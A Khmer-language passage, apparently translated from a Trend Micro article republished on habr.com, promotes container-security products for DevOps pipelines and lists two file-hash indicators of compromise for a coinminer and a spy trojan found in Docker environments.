  • αž”αŸ’αžšαžΎαž€αžΆαžšαžŸαŸ’αž€αŸ‚αž“αž˜αŸ‰αŸ„αž„αžŠαŸ†αžŽαžΎαžšαž€αžΆαžš αž“αž·αž„αžšαžΌαž”αž—αžΆαž–αžŠαŸ„αž™αžŸαŸ’αžœαŸαž™αž”αŸ’αžšαžœαžαŸ’αžαž· αžŠαžΎαž˜αŸ’αž”αžΈαž‘αž‘αž½αž›αž”αžΆαž“αž–αŸαžαŸŒαž˜αžΆαž“αž”αž“αŸ’αžαŸ‚αž˜αž’αŸ†αž–αžΈαžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαžŠαŸ‚αž›αž€αŸ†αž–αž»αž„αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž“αŸ…αž€αŸ’αž“αž»αž„αž€αž»αž„αžαžΊαž“αŸαžš (αž§αž‘αžΆαž αžšαžŽαŸ αžŠαžΎαž˜αŸ’αž”αžΈαžŸαŸ’αžœαŸ‚αž„αžšαž€αž€αžΆαžšαž€αŸ’αž›αŸ‚αž„αž”αž“αŸ’αž›αŸ† αž¬αžŸαŸ’αžœαŸ‚αž„αžšαž€αž—αžΆαž–αž„αžΆαž™αžšαž„αž‚αŸ’αžšαŸ„αŸ‡)αŸ” αž€αžΆαžšαž‚αŸ’αžšαž”αŸ‹αž‚αŸ’αžšαž„αž€αž˜αŸ’αž˜αžœαž·αž’αžΈ αž“αž·αž„αž€αžΆαžšαžαŸ’αžšαž½αžαž–αž·αž“αž·αžαŸ’αž™αž—αžΆαž–αžαŸ’αžšαžΉαž˜αžαŸ’αžšαžΌαžœαž‡αž½αž™αžαžΆαž˜αžŠαžΆαž“αž€αžΆαžšαž•αŸ’αž›αžΆαžŸαŸ‹αž”αŸ’αžαžΌαžšαž˜αž·αž“αž”αŸ’αžšαž€αŸ’αžšαžαžΈαž…αŸ†αž–αŸ„αŸ‡αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸ αž―αž€αžŸαžΆαžš αž“αž·αž„αžαŸ†αž”αž“αŸ‹αž”αŸ’αžšαž–αŸαž“αŸ’αž’αŸ”

Trendmicro αž‡αž½αž™αž€αŸ’αžšαž»αž˜ DevOps αž”αž„αŸ’αž€αžΎαžαžŠαŸ„αž™αžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž– αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž™αŸ‰αžΆαž„αž†αžΆαž”αŸ‹αžšαž αŸαžŸ αž“αž·αž„αž…αžΆαž”αŸ‹αž•αŸ’αžαžΎαž˜αž‚αŸ’αžšαž”αŸ‹αž‘αžΈαž€αž“αŸ’αž›αŸ‚αž„αŸ” αž“αž·αž“αŸ’αž“αžΆαž€αžΆαžšαž˜αžΈαž€αŸ’αžšαžΌ Hybrid Cloud Security αž•αŸ’αžαž›αŸ‹αž“αžΌαžœαžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž–αžŠαŸαž˜αžΆαž“αž₯αž‘αŸ’αž’αž·αž–αž› αžŸαž˜αŸ’αžšαž½αž› αž“αž·αž„αžŸαŸ’αžœαŸαž™αž”αŸ’αžšαžœαžαŸ’αžαž·αž“αŸ…αž‘αžΌαž‘αžΆαŸ†αž„αž”αŸ†αž–αž„αŸ‹ DevOps αžšαž”αžŸαŸ‹αžŸαŸ’αžαžΆαž”αŸαž“ αž“αž·αž„αž•αŸ’αžαž›αŸ‹αž“αžΌαžœαž€αžΆαžšαž€αžΆαžšαž–αžΆαžšαž€αžΆαžšαž‚αŸ†αžšαžΆαž˜αž€αŸ†αž αŸ‚αž„αž‡αžΆαž…αŸ’αžšαžΎαž“ XGen αžŠαžΎαž˜αŸ’αž”αžΈαž€αžΆαžšαž–αžΆαžšαž”αž“αŸ’αž‘αž»αž€αžšαžΆαž„αž€αžΆαž™ αž“αž·αž˜αŸ’αž˜αž·αž αž“αž·αž„αž–αž–αž€αž“αŸ…αž–αŸαž›αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαŸ” αžœαžΆαž€αŸαž”αž“αŸ’αžαŸ‚αž˜αžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž–αž€αž»αž„αžαžΊαž“αŸαžšαž‡αžΆαž˜αž½αž™ αžŸαž“αŸ’αžαž·αžŸαž»αžαž‡αŸ’αžšαŸ… ΠΈ αž€αžΆαžšαžαŸ’αžšαž½αžαž–αž·αž“αž·αžαŸ’αž™αž†αŸ’αž›αžΆαžαžœαŸƒαžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž–αž‡αŸ’αžšαŸ…αžŠαŸ‚αž›αžŸαŸ’αž€αŸ‚αž“αžšαžΌαž”αž—αžΆαž–αž€αž»αž„αžαžΊαž“αŸαžš Docker αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž˜αŸαžšαŸ„αž‚ αž“αž·αž„αž—αžΆαž–αž„αžΆαž™αžšαž„αž‚αŸ’αžšαŸ„αŸ‡αž“αŸ…αž…αŸ†αžŽαž»αž…αžŽαžΆαž˜αž½αž™αž€αŸ’αž“αž»αž„αž”αŸ†αž–αž„αŸ‹αž’αž—αž·αžœαžŒαŸ’αžαž“αŸ αžŠαžΎαž˜αŸ’αž”αžΈαž€αžΆαžšαž–αžΆαžšαž€αžΆαžšαž‚αŸ†αžšαžΆαž˜αž€αŸ†αž αŸ‚αž„ αž˜αž»αž“αž–αŸαž›αž–αž½αž€αžœαžΆαžαŸ’αžšαžΌαžœαž”αžΆαž“αžŠαžΆαž€αŸ‹αž±αŸ’αž™αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αŸ”

αžŸαž‰αŸ’αž‰αžΆαž“αŸƒαž€αžΆαžšαžŸαž˜αŸ’αžšαž”αžŸαž˜αŸ’αžšαž½αž›

αžŸαž‰αŸ’αž‰αžΆαžŠαŸ‚αž›αž‘αžΆαž€αŸ‹αž‘αž„αŸ–

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

αž“αŸ…αž›αžΎ αžœαž‚αŸ’αž‚αžŸαž·αž€αŸ’αžŸαžΆαžœαžΈαžŠαŸαž’αžΌ Docker αž€αžΆαžšαž’αž“αž»αžœαžαŸ’αžαžœαžΆαž‚αŸ’αž˜αž·αž“αž”αž„αŸ’αž αžΆαž‰αž–αžΈαž€αžΆαžšαž€αŸ†αžŽαžαŸ‹αž’αŸ’αžœαžΈαžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž’αŸ’αžœαžΎαž˜αž»αž“αž‚αŸ αžŠαžΎαž˜αŸ’αž”αžΈαž€αžΆαžαŸ‹αž”αž“αŸ’αžαž™αž›αž‘αŸ’αž’αž—αžΆαž– αž¬αž‡αŸ€αžŸαžœαžΆαž„αž‘αžΆαŸ†αž„αžŸαŸ’αžšαž»αž„αž“αžΌαžœαž€αžΆαžšαž€αžΎαžαž‘αžΎαž„αž“αŸƒαžŸαŸ’αžαžΆαž“αž—αžΆαž–αžŠαŸ‚αž›αž”αžΆαž“αž–αž·αž–αžŽαŸŒαž“αžΆαžαžΆαž„αž›αžΎαŸ” αž αžΎαž™αž“αŸ…αžαŸ’αž„αŸƒαž‘αžΈ 19-21 αžαŸ‚αžŸαžΈαž αžΆαž“αŸ…αž’αŸŠαžΈαž“αž’αžΊαžŽαŸ‚αžαžŠαŸ‚αž›αž–αžΉαž„αž•αŸ’αž’αŸ‚αž€αžαŸ’αž›αžΆαŸ†αž„ αž§αž”αž€αžšαžŽαŸ αž“αž·αž„αž”αŸ„αž€ DevOps αž’αŸ’αž“αž€αž’αžΆαž…αž–αž·αž—αžΆαž€αŸ’αžŸαžΆαž’αŸ†αž–αžΈαž”αž‰αŸ’αž αžΆαžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž–αž‘αžΆαŸ†αž„αž“αŸαŸ‡ αž“αž·αž„αžŸαŸ’αžšαžŠαŸ€αž„αž‚αŸ’αž“αžΆαž‡αžΆαž˜αž½αž™αžŸαž αžŸαŸαžœαž·αž€ αž“αž·αž„αž‚αŸ’αžšαžΌαž”αž„αŸ’αžšαŸ€αž“αž“αŸ…αžαž»αž˜αžΌαž› αžŠαŸ‚αž›αž‚αŸ’αžšαž”αŸ‹αž‚αŸ’αž“αžΆαž’αžΆαž…αž“αž·αž™αžΆαž™αž…αŸαž‰αž˜αž€ αž“αž·αž„αžŸαŸ’αžαžΆαž”αŸ‹αž“αžΌαžœαž€αžΆαžšαžˆαžΊαž…αžΆαž”αŸ‹ αž“αž·αž„αž—αžΆαž–αž‡αŸ„αž‚αž‡αŸαž™αžšαž”αžŸαŸ‹αž˜αž·αžαŸ’αžαžšαž½αž˜αž€αžΆαžšαž„αžΆαžšαžŠαŸ‚αž›αž˜αžΆαž“αž”αž‘αž–αž·αžŸαŸ„αž’αž“αŸαŸ”

αž”αŸ’αžšαž—αž–: www.habr.com

αž”αž“αŸ’αžαŸ‚αž˜αž˜αžαž·αž™αŸ„αž”αž›αŸ‹